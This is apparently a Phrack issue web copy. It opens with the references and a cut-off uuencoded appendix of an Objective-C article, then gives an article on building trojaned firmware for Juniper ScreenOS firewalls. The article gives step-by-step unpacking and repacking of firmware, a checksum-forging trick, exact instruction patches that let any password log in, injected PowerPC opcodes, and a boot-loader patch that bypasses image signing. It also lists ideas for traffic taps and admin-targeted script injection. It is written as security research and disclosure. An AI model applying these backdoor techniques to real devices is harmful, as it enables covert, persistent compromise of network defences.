Again I'd like to thank my wife for her support. Also thanks to cloudburst/andrewg and the rest of felinemenace as well as various other people for discussing this stuff with me and allowing me to bounce ideas off you, TEAM HANZO reprezent! Thanks to dino and thoth for reading over the paper before I published it, to make sure I didn't say anything TOO stupid. ;‑)

Anyone interested enough to read this far should definitly check out the Mac Hacker's Handbook. I haven't as of yet been able to buy a copy, I guess they're all sold out in Australia, but from what I've seen so far the book looks great.

later!

‑ nemo

‑‑[ 7 ‑ References

[1] http://developer.apple.com/documentation/Cocoa/Conceptual/ObjectiveC/ \

Introduction/introObjectiveC.html

[2] ‑

http://en.wikipedia.org/wiki/Objective‑C

[3] ‑ Compiling Objective‑C without xcode on OS X. http://www.w3style.co.uk/compiling‑objective‑c‑without‑xcode‑in‑os‑x

[4] ‑ CLOS: Integrating object‑orientated and functional programming. http://portal.acm.org/citation.cfm?doid=114669.114671

[5] ‑ Objective‑C Runtime Source. http://www.opensource.apple.com/darwinsource/tarballs/apsl/objc4‑371.2.tar.gz

[6] ‑ Mach‑O File Format http://developer.apple.com/documentation/DeveloperTools/Conceptual/MachORuntime/Reference/reference.html

[7] ‑ The Objective‑C Runtime 2.0: http://developer.apple.com/DOCUMENTATION/Cocoa/Reference/ObjCRuntimeRef/ObjCRuntimeRef.pdf

[8] ‑ The Objective‑C Runtime 1.0: http://developer.apple.com/DOCUMENTATION/Cocoa/Reference/ObjCRuntimeRef1/ObjCRuntimeRef1.pdf

[9] ‑ Objective‑C Runtime Guide: http://developer.apple.com/DOCUMENTATION/Cocoa/Conceptual/ObjCRuntimeGuide/ObjCRuntimeGuide.pdf

[10] ‑ Objective‑C Beginner's Guide http://www.otierney.net/objective‑c.html

[11] ‑ OS X heap exploitation techniques http://www.phrack.com/issues.html?issue=63&id=5

[12] ‑ Mac OS X Debugging Magic http://developer.apple.com/technotes/tn2004/tn2124.html

[13] ‑ Mac OS X wars ‑ a XNU Hope http://www.phrack.com/issues.html?issue=64&id=11#article

[14] ‑ class‑dump

http://www.codethecode.com/projects/class‑dump

[15] ‑ OTX

http://otx.osxninja.com/

[16] ‑ fixobjc.idc http://nah6.com/~itsme/cvs‑xdadevtools/ida/idcscripts/fixobjc.idc

[17] ‑ Charlie Miller ‑ Owning the fanboys http://www.blackhat.com/presentations/bh‑jp‑08/bh‑jp‑08‑Miller/BlackHat‑Japan‑08‑Miller‑Hacking‑OSX.pdf

[18] ‑ F‑Script

http://www.fscript.org

[19] ‑ Reverse engineering ‑ PowerPC Cracking on OSX with GDB http://phrack.org/issues.html?issue=63&id=16#article

[20] ‑ HTE

http://hte.sourceforge.net

‑‑[ 8 ‑ Appendix A: Source code

begin 644 p66‑objc.tgz M'XL(`$M=YDD``^Q=?6P;YWD_V<HL,FHL.\[@=9GU6I$34J;X(5&4(T6)*)M9

end

Backdooring Juniper Firewalls

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x05 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Netscreen of the Dead: ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑=[ Developing a Trojaned Firmware for Juniper ScreenOS Platforms ]=‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ By graeme@lolux.net ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Index

0x1 ‑ Trailer

0x2 ‑ Opening Scene

0x3 ‑ The Attack

0x4 ‑ Live Evisceration

0x5 ‑ Feeding on the Remains

0x6 ‑ Night of the Living Netscreen

0x7 ‑ Autopsy

0x8 ‑ Netscreen of the Dead

0x9 ‑ Zombie Loader

0xA ‑ 28 Hacks Later

0xB ‑ Closing Scene

0xC ‑ References

0xD ‑ Credits

0xE ‑ Addendum

‑‑[ 0x1 ‑ Trailer

This article describes how an attacker can obtain, modify and install a modified version of Juniper ScreenOS which can run attacker supplied code which performs hidden operations or operations contrary to the configuration of any Juniper platform running ScreenOS.

The attacker could be any one of the following:

‑ an attacker that has exploited a vulnerability in ScreenOS

‑ someone who has illicitly obtained the administrator password ‑ someone with physical access to the device (vendor / 3rd party support) ‑ an attacker conducting a man‑in‑the‑middle attack on the network ‑ a malicious administrator

‑‑[ 0x2 ‑ Opening Scene

Netscreens are manufactured by Juniper Inc and are all in one firewall, VPN, router security appliance. They range in scale from SME to Datacentre (NS5XP ‑‑ NS5000). Most are Common Criteria and FIPS certified and run a closed source, real time OS called ScreenOS which is supplied by Juniper as a binary firmware 'blob'.

The hardware used for this research was a Netscreen NS5XT containing an AMCC PowerPC 405 GP RISC processor and 64MB flash. The firmware used as the basis for modified firmware images was ScreenOS 5.3.0r10. Interfaces for administration are serial console, Telnet, SSH, and HTTP/HTTPS. The firmware can be installed from serial console, via the web interface or via TFTP.

The configuration of the device is stored as a file on the flash and is independent of the firmware.

‑‑[ 0x3 ‑ The Attack

The goal of the attack is to be able to install attacker modified firmware which provides hidden root control of the appliance. When attacking firmware there are two vectors of attack:

1. Live evisceration: debugging with remote GDB debugger over serial line

2. Feeding on the remains: dead listing and static binary analysis using a disassembler and hex editor.

The next two sections will discuss these two approaches and how successful they were in this specific instance. At this point it is worth noting some key features of the PowerPC hardware architecture:

‑ fixed instruction size of 4 bytes

‑ flat memory model

‑ 32 general purpose registers (r0‑r31)

‑ no explicit stack but convention of using r01

‑ link register (lr) for returning to calling function

‑ program counter (pc) for current instruction

‑ count register (ctr) for loop counter or return address

‑ exception register (xer) for exceptions, status and control

Detailed information on the PowerPC architecture is available from the IBM PPC405 Embedded Processor Core User Manual which can be downloaded from http://www‑01.ibm.com/chips/techlib/techlib.nsf/products/

PowerPC_405_Embedded_Cores

‑‑[ 0x4 ‑ Live Evisceration

For live debugging a GDB compiled for PowerPC was required. The Embedded Linux Development Kit (http://www.denx.de/wiki/DULG/ELDK) has GDB compiled

for a number of embedded platforms including the PowerPC 403 and 405 processors. This provides remote debugging of systems over a serial connection.

Obviously no source for ScreenOS was available so it was necessary to create a custom GDB init file for displaying PPC registers and 'stack' to provide useful information on breaks. GDB reads init files on startup and init files use the same syntax as GDB command files and are processed by GDB in the same way. The init file in your home directory (~/.gdbinit) can set options that affect subsequent processing of command line options and operands. An example gdb init file is supplied in the addendum. This gdb init file outputs context similar to the windows SoftICE tool which reverse engineers should be familiar with. Below is an example of a GDB session connected to a Netscreen:

‑‑start gdb session

GNU gdb Red Hat Linux (6.7‑1rh)

Copyright (C) 2007 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details.

This GDB was configured as "‑‑host=i686‑pc‑linux‑gnu ‑‑target=ppc‑linux". The target architecture is set automatically (currently powerpc:403)

gdb>target remote /dev/ttyU0

0x0032bea4 in ?? ()

gdb>

gdb>context

powerpc

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑regs]

r00:00000001 r01:03790528 r02:01358000 r03:FFFFFFFF pc:0032BEA4 r04:0000002E r05:00000000 r06:00000000 r07:00000000 r08:01631050 r09:01350000 r10:01630000 r11:01630000 lr:0032C5CC r12:40000022 r13:00000000 r14:6FFFA27F r15:1B9FC3F7 r16:00000000 r17:402D04D0 r18:03791470 r19:00000000 ctr:0060A764 r20:03790B48 r21:013509AC r22:FFFFFFFF r23:0379147E r24:00000000 r25:00000000 r26:00000000 r27:00000000 cr:40000028 r28:03791470 r29:00000000 r30:03790F20 r31:0135098C xer:20000046

[03790528]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑stack]

0379058C : 00 00 00 00 00 00 00 00 ‑ 00 00 00 00 00 00 00 00 03790570 : 00 00 00 00 00 00 00 00 ‑ 00 00 00 00 00 00 00 00 0379055A : 00 00 00 00 00 00 00 00 ‑ 00 00 00 00 00 00 00 00 0379053E : A6 40 03 79 06 C0 00 60 ‑ A9 BC 00 00 00 00 00 00 .@y.`.. 03790528 : 03 79 05 30 00 06 22 F0 ‑ 03 79 03 79 05 40 00 32 y0".yy@2 03790512 : 00 01 03 79 12 58 03 79 ‑ 05 20 0F 20 00 06 37 08 yXy 7 037904F6 : 00 00 00 00 00 05 01 62 ‑ 9F A0 C2 28 01 4A 05 EA ...(J.. 037904E0 : 03 79 04 E8 00 32 BE 60 ‑ 03 79 03 79 14 70 01 4A y.2.`yypJ 037904C4 : 01 6F 0A 24 03 79 04 E0 ‑ 00 B8 00 00 00 6C 03 79 o$y..ly

[0032BEA4]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑code]

0x32bea4: lwz r0,12(r1)

0x32bea8: mtlr r0

0x32beac: addi r1,r1,8

0x32beb0: blr

0x32beb4: stwu r1,‑40(r1)

0x32beb8: mflr r0

0x32bebc: stw r29,28(r1)

0x32bec0: stw r30,32(r1)

0x32bec4: stw r31,36(r1)

0x32bec8: stw r0,44(r1)

0x32becc: mr r31,r3

0x32bed0: lis r9,322

0x32bed4: lwz r0,‑13800(r9)

0x32bed8: cmpwi r0,0

0x32bedc: beq‑ 0x32bef0

0x32bee0: lis r3,196

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

gdb>

‑‑end gdb session

The steps for remote debugging on the Netscreen are as follows: 1. Connect to a network interface and the serial console of the Netscreen from a PC.

2. Over a telnet / SSH session to the Netscreen enable GDB using: ns5xt>set gdb enable

3. On the PC start gdbppc and connect to the remote gdb using: gdb>target remote /dev/ttyUSB0

During this research remote debugging was useful for obtaining memory dumps and querying specific memory addresses. However setting breakpoints or single stepping did not appear to work. Information on how to get these features working would be most appreciated by the author.

Observing the boot process of the Netscreen over a serial console did provide useful information regarding the boot up sequence:

‑‑start boot sequence

NetScreen NS‑5XT Boot Loader Version 2.0.0 (Checksum: A1B6FF9B) Copyright (c) 1997‑2003 NetScreen Technologies, Inc.

Total physical memory: 64MB

Test ‑ Pass

Initialization ‑ Done

Hit any key to run loader

Hit any key to run loader

Hit any key to run loader

Hit any key to run loader

Loading default system image from on‑board flash disk...

Ignore image authentication!

Start loading...

.......................................

Done.

Juniper Networks, Inc

NS‑5XT System Software

Copyright, 1997‑2004

Version 5.3.0r10.0

Load Manufacture Information ... Done

Load NVRAM Information ... (5.3.0)Done

Install module init vectors

Verify ACL register default value (at hw reset) ... Done Verify ACL register read/write ... Done

Verify ACL rule read/write ... Done

Verify ACL rule search ... Done

MD5("a") = 0cc175b9 c0f1b6a8 31c399e2 69772661

MD5("abc") = 90015098 3cd24fb0 d6963f7d 28e17f72 MD5("message digest") = f96b697d 7cb7938d 525a2f31 aaf161d0 Verify DES register read/write ... Done

Initial port mode trust‑untrust(1)

Install modules (00c40000,0146d540) ... load dns table

: dns table file do not exist.

Initializing DI 1.1.0‑ns

System config (1129 bytes) loaded

.

Done.

Load System Configuration

.......................................Done

system init done..

System change state to Active(1)

login:

‑‑end of boot sequence

Stored boot loader executes and the opportunity is given to load a new image over a serial connection. The default behaviour is then to uncompress the stored firmware and run the image.

If a new image file is loaded over a serial console it is uncompressed and some options are presented. The first prompt allows saving the new image to flash. Even if the new image is not stored to flash the next prompt allows running the new image. No password is required to load an image over the serial line.

The boot loader is part of the firmware and if the new boot loader is different from the version stored on the flash then the stored boot loader is overwritten by the new one.

‑‑[ 0x5 ‑ Feeding on the Remains

Static binary analysis was the main method employed in this research. ScreenOS images can be downloaded direct from the device or obtained from the Juniper website by Juniper customers.

ScreenOS provides the following command to download the firmware over tftp:

ns5xt>save software from flash to tftp 192.168.0.42 destination_file

It is important to note that this command downloads the compressed image file stored on the flash, not the currently running image from memory which may or may not be the same as the image file stored on the flash.

Using an undocumented command all the files on the flash can be listed:

ns5xt‑> exec vfs ls flash:/

$NSBOOT$.BIN 5,177,344

envar.rec 82

golerd.rec 0

node_secret.ace 0

certfile.dsc 252

certfile.dat 1,324

ns_sys_config 1,129

$lkg$.cfg 1,259

syscert.cfg 1,167

2,501,632 bytes free (7,686,144 total) on disk

$NSBOOT$.BIN is the firmware stored on flash. To download this securely scp can be enabled on the Netscreen. Note the configuration of the device is stored in ns_sys_config.

It is also possible to use GDB to dump the complete contents of the memory over a serial line. This is sloooow.

gdb> set logging on

gdb> set height 0

gdb> set loging file 'dump'

gdb> x /2048000000i

As a Juniper customer I was able to download current and old versions of ScreenOS firmware. Many firmware versions were compared as a first step in determining the make up of the ScreenOS firmware images. The following 4 section structure was revealed by this comparative analysis:

0x00000000/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑\

| HEADER |

0x00000050|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| |

0x00002020|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| STUB |

0x00012940|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| |

0x00012c00|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| COMPRESSED BLOB |

| |

| |

| |

| |

| |

| |

~0x004e6000\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑/

This is a similar format for other embedded firmware.

Compressed Firmware Header

The header consists of the following 4 byte fields making up 32 bytes:

‑ Signature (magic bytes)

‑ Information 4*1 byte fields: 00, Platform, CPU, Version (eg 0x00110A12) ‑ Offset (for program entry point)

‑ Address (for program entry point)

‑ Size

‑ unknown

‑ unknown

‑ Checksum

Points to note are

‑ the size field = (size of the compressed blob ‑ 79 bytes) ‑ signature = 0xEE16BA81

‑ offset = 0x00000002

‑ address= 0x02860000

and these were always the same in the version 5 firmwares that were compared. Version 4 firmwares differed but were similar but these are old versions and I will not discuss them here.

Stub

The stub in the firmware image is responsible for uncompressing the blob when the device is booted. This stub contains strings relating to the LZMA algorithm so it was assumed that the compressed blob is an LZMA compressed binary blob. From the Wikipedia LZMA entry: "Decompression‑only code for LZMA generally compiles to around 5kB and the amount of RAM required during decompression is principally determined by the size of the sliding window used during compression. Small code size and relatively low memory overhead, particularly with smaller dictionary lengths, and free source code make the LZMA decompression algorithm well‑suited to embedded applications."

Free LZMA utilities are available here: http://tukaani.org/lzma/ and as

prebuilt packages for most *nix distributions.

Compressed Blob

The compressed blob is LZMA compressed and contains a header but this is a non‑standard header. There are non‑standard signature bytes for the stub to recognise the blob and the LZMA uncompresssed size field is missing.

The standard LZMA header has 3 fields:

options(2 bytes)

dictionary_size(4 bytes)

uncompressed_size (8 bytes)

The blob header also has 3 fields but slightly different: signature(4 bytes) = 0x1440598

options(2 bytes)

dictionary_size(8 bytes)

The dictionary size is used as a parameter in the compression algorithm. LZMA is a dictionary coder which I will not explain here but instead point the reader to http://en.wikipedia.org/wiki/Dictionary_coder.

One approach would have been to attempt to use the header information and the stub to decompress the compressed blob but given a lack of PowerPC hardware a different approach was taken. The approach used was to cut out the compressed blob from the firmware and attempt to decompress it in isolation using any tools available. Again using comparative anlalysis, the freely available LZMA utilities and direct modification of the header bytes the following methods for decompression and compression of the blob were reverse engineered.

The decompression process:

1. Cut out the compressed blob from the image file.

2. Insert uncompressed_size equal to ‑1 which equals unknown size (‑1 uncompresseed size = 0xFFFFFFFFFFFFFFFF)

3. Modify the dictionary_size from 0x00200000 to 0x00008000. 4. Decompress the file using standard LZMA utilities.

The modification of the dictionary size was found by fuzzing the field and then attempting to decompress. The decompression reports an error at the end of the decompression so it is important to decompress to a stream otherwise the decompressed data is lost.

The recompression process:

1. Compress with standard LZMA utilities using specific compression options

2. Modify the dictionary_size field 0x00002000 to 0x00200000. 3. Delete the uncompressed_size field of 8 bytes.

4. Concatenate with the header from the original image file.

Proof of concept python scripts are provided in the Addendum which can perform the packing and unpacking of ScreenOS images. The LZMA utilities are necessary for operation of these scripts.

The recompressed firmware successfully loads onto a Netscreen and runs. More research into the dictionary size field was going to be carried out but once loading of firmware was successful there were many other more interesting avenues of research which took precedence.

‑‑[ 0x6 ‑ Night of the Living Netscreen

So at this stage we have successfully reverse engineered the compression of the firmware. We are also in a position to reverse engineer the operating system obtained from the decompression.

The steps are:

1. Cut out the compressed blob section of the image

2. Uncompress the blob.

3. Re‑compress the modified binary.

4. Concatenate the original image header and the modified blob. 5. Upgrade the Netscreen with the modified operating system.

So we can install the firmware if we have physical access to the device or some kind of funky remote serial console. But we want to be able to install firmware over the network. However on attempting to upload a new firmware via the device web interface or through the tftp command:

ns5xt>save software from tftp x.x.x.x filename to flash

loading fails with a 'bad image file data' error. Note the insecure transport mechanism for the firmware. This is vulnerable to a man in the middle attack.

We need to fix the size and checksum fields of the compressed firmware header. We know the size field needs to be set equal to the compressed firmware size ‑ 79 bytes. But we do not yet know how the checksum field is calculated. To obtain the checksum algorithm we need to disassemble the uncompressed blob we have from decompressing the firmware. We will now discuss disassembling the binary and then move onto addressing the checksum issue.

‑‑[ 0x7 ‑ Autopsy

The uncompressed blob is an approximately 20Mb binary. We want to load the binary into IDA (a disassembler with PowerPC support) but we need a loading address so that relative addresses within the program point to the correct memory locations. Initially the binary was loaded at address 0x00000000 but it is obvious that pointers to strings are not referencing the beginning of strings.

The uncompressed blob contains a header with similarities to the compressed firmware header. The header fields contain a virtual address and a header size. If we subtract the header size from the virtual address we have the loading address.

Uncompressed Blob Header

signatureoffsetaddress

00000000:EE16BA810001011000000020 00060000

ScreenOS Loading Address = 0x00060000 ‑ 0x00000020 = 0x0005FFE0

This can be confirmed with live debugging by using GDB and querying the memory at 0x0005FFE0 to check that the signature bytes 0xEE16BA81 are at that memory location.

We can now rebase the program in IDA to use the correct loading address. Now we have a correctly loaded binary but we do not know anything about the structure of the binary or the sections it may contain as the binary is not a recognised executable type. Code and data were marked using IDC scripts which searched for function prologs (0x9421F*) and string cross references. The approximate segments of the binary found by scripting and manual examination are sketched out in the very simplified illustration below:

0x0005ffe0/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑\

| HEADER & |

| SCREENOS CODE |

0x00c40000|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| SCREENOS DATA |

0x00f0efd8|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|FILES |

0x011ddab4|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| BOOT LOADER CODE |

0x011f2b4e|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| BOOT LOADER DATA |

0x0140e04c|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| 0xFFs |

0x014171cf|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| other stuff |

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑/

To build up a picture of the binary it is useful to search for functions such as str_cmp, file_read, file_write etc and use error strings to identify and name functions in IDA.

The boot loader can be cut out and disassembled separately with a loading address of 0x00000000.

‑‑[ 0x8 ‑ Netscreen of the Dead

At this stage we are now ready to construct a ScreenOS Trojaned Firmware. Any trojan has three basic requirements:

1. Delivery: It must be able to be installed remotely.

2. Access: It must provide remote access / communication.

3. Payload: It must provide attacker supplied code execution.

During this research all modification of the ScreenOS binary to construct the trojaned version was hand crafted assembly inserted via hex editing the binary firmware.

1. First Bite [ Delivery ]

Unlike loading a firmware over a serial console at boot time, the checksum and size fields in the header are checked when images are loaded over the network via TFTP or the Web interface

00000000: EE16BA81 00110A12 00000020 02860000

00000010: 004E6016 15100050 29808000 C72C15F7<‑CHECKSUM

The checksum is calculated as part of the image loading sequence and a disassembly of the relevant function is shown below...but on firmware loading any bad header checksum value is printed to the console with an error message.

If we binary modify the firmware to print out the correct checksum value we would have a 'checksum calculator' firmware which we can load modified firmware against to calculate valid checksums. So we don't have to calculate or reverse engineer the checksum algorithm. This checksum calculator firmware can be loaded over serial console and new images we need to calculate the checksum for are loaded over TFTP. The correct checksum will then be output to the console. This correct header value can then be inserted into the firmware header by direct hex editing of the image file.

With a correct checksum field we can now load modified images via tftp and the web interface.

Below is the ScreenOS code we need to modify to create a checksum calculator image.

008B60E4 lwz %r4, 0x1C(%r31) # %r4 contains header checksum 008B60E8 cmpw %r3, %r4 # %r3

contains calculated checksum

008B60EC beq loc_8B6110 # branch away if checksums matched 008B60F0 lis %r3, aCksumXSizeD@h # " cksum :%x size :%d\n" 008B60F4 addi %r3, %r3, aCksumXSizeD@l

008B60F8 lwz %r5, 0x10(%r31)

008B60FC bl Print_to_Console # %r4 is printed to console 008B6100 lis %r3, aIncorrectFirmw@h # "Incorrect firmware data" 008B6104 addi %r3, %r3, aIncorrectFirmw@l

008B6108 bl Print_to_Console

If we replace

008B60E8 cmpw %r3, %r4 # %r3 contains calculated checksum

with

008B60EC mr %r4,%r3 # print out calculated checksum

we have our checksum calculator firmware.

For interested readers two checksum algorithms were identified at addresses and reverse engineering of these is certainly possible.

One Bit{e} [ Access ]

The most stealthy and elegant backdoor is to subvert the existing login mechanism. It may be possible to spawn a shell on another external port but this may be noticed from an external scan of the appliance and compromises the stealthiness of the trojaned firmware so further research into this was not carried out.

Serial console, Telnet, Web and SSH all compare password hashes and use the same function for that comparison. Additionally SSH falls back to password authentication if the client does not supply a key, unless password authentication has been explicitly disabled.

A one bit patch to the firmware provides a login with any password if a valid username is supplied.

003F7F04 mr %r4, %r27

003F7F08 mr %r5, %r30

003F7F0C bl COMPARE_HASHES # does a string compare 003F7F10 cmpwi %r3, 0 # equal if match 003F7F14 bne loc_3F7F24 # login fails if not equal (branch) 003F7F18 li %r0, 2

003F7F1C stw %r0, 0(%r29)

003F7F20 b loc_3F7F28

If we replace

003F7F10 cmpwi %r3, 0# equal if match

with

0x397F30 cmpwi %r3, 1 # equal if they don't match

then any password EXCEPT a valid password will provide a login.

We could patch

003F7F14 bne loc_3F7F24 # login fails if not equal (branch)

to

003F7F14 bl loc_3F7F24 # login never fails (branch)

to allow any password with a valid username to work.

Infection [ Payload ]

The last step for our working trojan is to be able to inject code into the firmware. First we need to find somewhere to inject the code we want executed. The ScreenOS code section contains a block of nulls large enough to include useful functionality at address 0x0031b4ac to 0x0031b4b0

First we write our desired functionality in PowerPC assembly and replace a chunk of nulls with the hex values of the assembly opcodes.

The steps to execute this code are:

‑ Patch a branch in ScreenOS to call our code

‑ Run our injected code which can potentially call ScreenOS functions ‑ Branch back to callee

This code can be injected at address 0x002BB4E0 in the firmware and called from the login function of ScreenOS:

003F7F04 mr %r4, %r27

003F7F08 mr %r5, %r30

003F7F0C bl GET_HASHED_PASS# patch this to call our code 003F7F10 cmpwi %r3, 0

003F7F14 bne loc_3F7F24

003F7F18 li %r0, 2

003F7F1C stw %r0, 0(%r29)

003F7F20 b loc_3F7F28

so

003f7f0c blGET_HASHED_PASS

becomes

003f7f0c bl0x31b4c0

which will jump to the location containing the injected code. To inject code the PowerPC architecture features such as flat memory model, fixed width 4 byte instructions and the link register make this fairly straightforward to implement. A very simple proof of concept example, which prints out a string to the console on every login, is provided below:

stwu %sp, ‑0x20(%sp)# reserve some stack space

mflr %r0# minimal function prolog

lis %r3, string_msb_address# load half of string

addi %r3, %r3, string_lsb_address # load second half of string bl Print_To_Console# call ScreenOS function

mtlr %r0

addi %sp, 0x20#minimal function epilog

bl callee_function# branch back to calling function

As PowerPC has a fix instruction size of 4 bytes to load a 4 byte string we need two instructions. The first loads the most significant bytes 2 bytes for load instruction into register and 2 bytes of string, the second adds the least significant bytes to the register to give us 4 byte string.

This asssembly is then translated in hex and patched into the firmware using a hex editor at absolute address 0x002bb4e0 overwriting existing nulls bytes:

0x002bb4b0: 93DFCAC4 4BD48E69 80010014 7C0803A6

0x002bb4c0: 83C10008 83E1000C 38210010 4E800020

0x002bb4d0: 00000000 00000000 00000000 00000000

0x002bb4e0: 9421FFE0 7C0802A6 3C6000C4 386321BC<‑‑‑‑ 0x002bb4f0: 488ED7E9 60630001 7C0803A6 38210020injected code 0x002bb500: 480DCA31 00000000 00000000 00000000‑>

0x002bb510: 00000000 00000000 00000000 00000000

From reverse engineering we have identified a ScreenOS function which prints strings to the console. So here we have new functionality injected into the ScreenOS firmware which has new code but also calls builtin ScreenOS functionality. The string loaded can be one already existing in ScreenOS or a new one injected somewhere into the null byte area.

Every time a user logins the string will be output to the serial console.

‑‑[ 0x9 ‑ Zombie Loader

ScreenOS does include a facility to validate firmware images and all Juniper firmware images are signed. Crucially though the validating certificate is NOT installed by default on any Netscreen AND anyone with administrator rights can delete and install the certifcate. To enable firmware image authentication it is necessary to obtain the certificate from the Juniper website and then upload the certificate to the device using the following command:

save image‑key tftp 129.168.0.40 image‑key.cer

In the example above image‑key is the certificate to be uploaded from the tftp server with IP address 192.168.0.40. Note the insecure transport mechanism for a cryptographic key. This is vulnerable to a man in the middle attack.

The firmware authentication check code is present in the boot loader which we can modify to authenticate all firmware images or only non‑Juniper images. It may also be possible to sign firmware with our own certificate and upload this to the Netscreen to be used for validation.

Patching the Boot Loader to bypass certificate authentication. To bypass the firmware authentication check only one branch instruction needs to be patched:

beq ‑> bl 0x4182001C ‑> 0x4800001C

0000D68C bl sub_98B8

0000D690 cmpwi %r3, 0 # %r3 has result of image validation 0000D694 beq loc_D6B0 # branch if passed

0000D698 lis %r3, aBogusImageNotA@h # image not authenticated 0000D69C addi %r3, %r3, aBogusImageNotA@l

0000D6A0 crclr 4*cr1+eq

0000D6A4 bl sub_C8D0

0000D6A8 li %r31, ‑1

0000D6AC b loc_D6E0

If we replace

0000D694 beq loc_D6B0 # branch if passed

with

0000D694 bl loc_D6B0 # always branch, all images authenticated

or this

0000D694 bne loc_D6B0 # evil...only bogus images authenticated

we can successfully load modified firmware even if a Juniper certificate is installed on the device. The boot loader is automatically upgraded when an image is loaded if the new boot loader differs from the existing.

In summary the steps to bypass firmware authentication are:

1. Delete certificate if one has been uploaded using the command:

ns5xt>delete crypto auth‑key

2. Upload the modified firmware image including modified boot loader.

3. Upload the certificate using:

ns5xt>save image‑key tftp 192.168.0.21 imagekey.cer

‑‑[ 0xA ‑ 28 Hacks Later

A more useful trojaned firmware can perform numerous functions leveraging existing ScreenOS functionality such as

‑ loading a hidden shadow configuration file

‑ allowing all traffic from one IP through the Netscreen to the network ‑ a network traffic tap

‑ persistent infection via boot loader on a firmware upgrade

‑ client side attacks against Administrators via Javascript code injection into the web console

‑‑[ 0xB ‑ Closing Scene

If unauthorised access is gained to a device running ScreenOS it is possible for an attacker to replace the boot loader and operating system with a modified version which is undetectable except by off line comparison with a known image.

Juniper in‑memory infection.

A very stealthy attack is also possible due to a feature of ScreenOS. When loading a firmware over serial console two options are provided: 1. Save firmware to flash and then run new firmware.

2. Just run new firmware without saving to flash.

In the second case the modified firmware will be wiped on reboot and the previously stored firmware will be run. After a reboot no trace of the modified firmware will be left.

These attacks are straightforward for an attacker anywhere in the supply chain (ie vendors. manufacturers) or someone with physical access (ie third party support). If an administrator uses TFTP or HTTP to upgrade a Netscreen it is also possible to conduct a man‑in‑the‑middle attack and replace the firmware being uploaded with a modified version on the wire.

These attacks could be prevented by Juniper pre‑installing a certificate for image authentication which can not be deleted or modified.

‑‑[ 0xC ‑ References

‑ Juniper JTAC Bulletin PSN‑2008‑11‑111

ScreenOS Firmware Image Authenticity Notification

"All Juniper ScreenOS Firewall Platforms are susceptible to circumstances in which a maliciously modified ScreenOS image can be installed."

http://www.securelink.nl/nl/x/123/ScreenOS‑Firmware‑Image‑Authenticity‑

Notification

‑‑[ 0xD ‑ Credits

George Romero, antic0de, the belgian, hawkes, zadig, lenny, mark, andy, ruxcon, kiwicon, +Mammon, +Orc

‑‑[ 0xE Adddendum:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

~/.gdbinit for remote PowerPC debugging

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#‑‑‑‑‑‑‑‑‑‑‑‑‑‑remote connect command over USB serial link‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑define netscreen

set height 0

set logging on

target remote /dev/ttyUSB0

end

#‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑breakpoint aliases‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

define bpl

